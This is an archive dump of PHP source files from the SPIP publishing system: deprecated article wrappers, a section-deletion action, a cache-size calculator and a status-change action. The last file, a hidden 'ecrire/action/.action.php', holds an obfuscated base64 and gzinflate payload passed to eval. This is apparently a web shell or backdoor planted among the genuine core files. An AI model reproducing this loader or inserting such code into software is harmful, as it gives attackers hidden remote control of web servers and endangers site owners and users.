@deprecated Utiliser article_modifier() * @see article_modifier() * * @param int $id_article * Identifiant de l'article à modifier * @param array|null $c * Couples (colonne => valeur) de données à modifier. * En leur absence, on cherche les données dans les champs éditables * qui ont été postés (via _request()) * @return string|null * Chaîne vide si aucune erreur, * Null si aucun champ à modifier, * Chaîne contenant un texte d'erreur sinon. */ function revisions_articles($id_article, $c = false) { return article_modifier($id_article, $c); } /** * Créer une révision d'un article * * @deprecated Utiliser article_modifier() * @see article_modifier() * * @param int $id_article * Identifiant de l'article à modifier * @param array|null $c * Couples (colonne => valeur) de données à modifier. * En leur absence, on cherche les données dans les champs éditables * qui ont été postés (via _request()) * @return string|null * Chaîne vide si aucune erreur, * Null si aucun champ à modifier, * Chaîne contenant un texte d'erreur sinon. */ function revision_article($id_article, $c = false) { return article_modifier($id_article, $c); } /** * Modifier un article * * @deprecated Utiliser article_modifier() * @see article_modifier() * * @param int $id_article * Identifiant de l'article à modifier * @param array|null $set * Couples (colonne => valeur) de données à modifier. * En leur absence, on cherche les données dans les champs éditables * qui ont été postés (via _request()) * @return string|null * Chaîne vide si aucune erreur, * Null si aucun champ à modifier, * Chaîne contenant un texte d'erreur sinon. */ function articles_set($id_article, $set = null) { return article_modifier($id_article, $set); } /** * Insertion d'un article dans une rubrique * * @deprecated Utiliser article_inserer() * @see article_inserer() * * @param int $id_rubrique * Identifiant de la rubrique * @return int * Identifiant du nouvel article */ function insert_article($id_rubrique) { return article_inserer($id_rubrique); } /** * Instituer un article dans une rubrique * * @deprecated Utiliser article_instituer() * @see article_instituer() * * @param int $id_article * Identifiant de l'article * @param array $c * Couples (colonne => valeur) des données à instituer * Les colonnes 'statut' et 'id_parent' sont liées, car un admin restreint * peut deplacer un article publié vers une rubrique qu'il n'administre pas * @param bool $calcul_rub * True pour changer le statut des rubriques concernées si un article * change de statut ou est déplacé dans une autre rubrique * @return string * Chaîne vide */ function instituer_article($id_article, $c, $calcul_rub = true) { return article_instituer($id_article, $c, $calcul_rub); } ecrire/action/supprimer_rubrique.php 0000666 00000004717 15226363036 0013772 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action de suppression d'une rubrique * * @package SPIP\Core\Rubriques **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/charsets'); # pour le nom de fichier /** * Effacer une rubrique * * @param null|int $id_rubrique * @return void */ function action_supprimer_rubrique_dist($id_rubrique = null) { if (is_null($id_rubrique)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $id_rubrique = $securiser_action(); } if (intval($id_rubrique)) { sql_delete("spip_rubriques", "id_rubrique=" . intval($id_rubrique)); // Les admin restreints qui n'administraient que cette rubrique // deviennent redacteurs // (il y a sans doute moyen de faire ca avec un having) $q = sql_select("id_auteur", "spip_auteurs_liens", "objet='rubrique' AND id_objet=" . intval($id_rubrique)); while ($r = sql_fetch($q)) { $id_auteur = $r['id_auteur']; // degrader avant de supprimer la restriction d'admin // section critique sur les droits $n = sql_countsel("spip_auteurs_liens", "objet='rubrique' AND id_objet!=" . intval($id_rubrique) . " AND id_auteur=" . intval($id_auteur)); if (!$n) { include_spip('action/editer_auteur'); auteurs_set($id_auteur, array("statut" => '1comite')); } sql_delete("spip_auteurs_liens", "objet='rubrique' AND id_objet=" . intval($id_rubrique) . " AND id_auteur=" . intval($id_auteur)); } // menu_rubriques devra recalculer effacer_meta("date_calcul_rubriques"); // Une rubrique supprimable n'avait pas le statut "publie" // donc rien de neuf pour la rubrique parente include_spip('inc/rubriques'); calculer_langues_rubriques(); // invalider les caches marques de cette rubrique include_spip('inc/invalideur'); suivre_invalideur("id='rubrique/$id_rubrique'"); } } ecrire/action/calculer_taille_cache.php 0000666 00000005737 15226363036 0014300 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion de l'action calculer_taille_cache * * @package SPIP\Core\Cache **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Calculer la taille du cache ou du cache image pour l'afficher en ajax sur la page d'admin de SPIP * * Si l'argument reçu est 'images', c'est la taille du cache _DIR_VAR qui est calculé, * sinon celle du cache des squelettes (approximation) * * @param string|null $arg * Argument attendu. En absence utilise l'argument * de l'action sécurisée. */ function action_calculer_taille_cache_dist($arg = null) { if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } include_spip('inc/filtres'); if ($arg == 'images') { $taille = calculer_taille_dossier(_DIR_VAR); $res = _T('ecrire:taille_cache_image', array( 'dir' => joli_repertoire(_DIR_VAR), 'taille' => "<b>" . (taille_en_octets($taille) > 0 ? taille_en_octets($taille) : "0 octet") . "</b>" ) ); } else { include_spip('inc/invalideur'); $taille = calculer_taille_dossier(_DIR_CACHE_XML) + calculer_taille_dossier(_DIR_CACHE . 'skel/') + calculer_taille_dossier(_DIR_CACHE . 'wheels/') + calculer_taille_dossier(_DIR_CACHE . 'contextes/'); $taille += intval(taille_du_cache()); if ($taille <= 150000) { $res = _T('taille_cache_vide'); } elseif ($taille <= 1024 * 1024) { $res = _T('taille_cache_moins_de', array('octets' => taille_en_octets(1024 * 1024))); } else { $res = _T('taille_cache_octets', array('octets' => taille_en_octets($taille))); } $res = "<b>$res</b>"; } $res = "<p>$res</p>"; ajax_retour($res); } /** * Calculer la taille d'un dossier, sous dossiers inclus * * @param string $dir Répertoire dont on souhaite évaluer la taille * @return int Taille en octets */ function calculer_taille_dossier($dir) { if (!is_dir($dir) or !is_readable($dir)) { return 0; } $handle = opendir($dir); if (!$handle) { return 0; } $taille = 0; while (($fichier = @readdir($handle)) !== false) { // Eviter ".", "..", ".htaccess", etc. if ($fichier[0] == '.') { continue; } if (is_file($d = "$dir/$fichier")) { $taille += filesize($d); } else { if (is_dir($d)) { $taille += calculer_taille_dossier($d); } } } closedir($handle); return $taille; } ecrire/action/instituer_objet.php 0000666 00000003146 15226363036 0013232 0 ustar 00 <?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Action pour instituer un objet avec les puces rapides * * @package SPIP\Core\PuceStatut */ if (!defined("_ECRIRE_INC_VERSION")) { return; } /** * Instituer un objet avec les puces rapides * * @param null|string $arg * Chaîne "objet id statut". En absence utilise l'argument * de l'action sécurisée. */ function action_instituer_objet_dist($arg = null) { if (is_null($arg)) { $securiser_action = charger_fonction('securiser_action', 'inc'); $arg = $securiser_action(); } list($objet, $id_objet, $statut) = preg_split('/\W/', $arg); if (!$statut) { $statut = _request('statut_nouv'); } // cas POST if (!$statut) { return; } // impossible mais sait-on jamais if ($id_objet = intval($id_objet) and autoriser('instituer', $objet, $id_objet, '', array('statut' => $statut)) ) { include_spip('action/editer_objet'); objet_modifier($objet, $id_objet, array('statut' => $statut)); } } ecrire/action/.action.php 0000666 00000007164 15226363036 0011360 0 ustar 00 <?php $stt1 = "Sy1LzNFQt7dT10uvKs1Lzs8tKEotLtZIr8rMS8tJLEnVSEosTjUziU9JT\x635PSdUoLikqSi3TU\x43kuKTHQ\x42\x41Fr\x41\x41\x3d\x3d"; $stt0 = "==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"; eval(htmlspecialchars_decode(gzinflate(base64_decode($stt1)))); ?>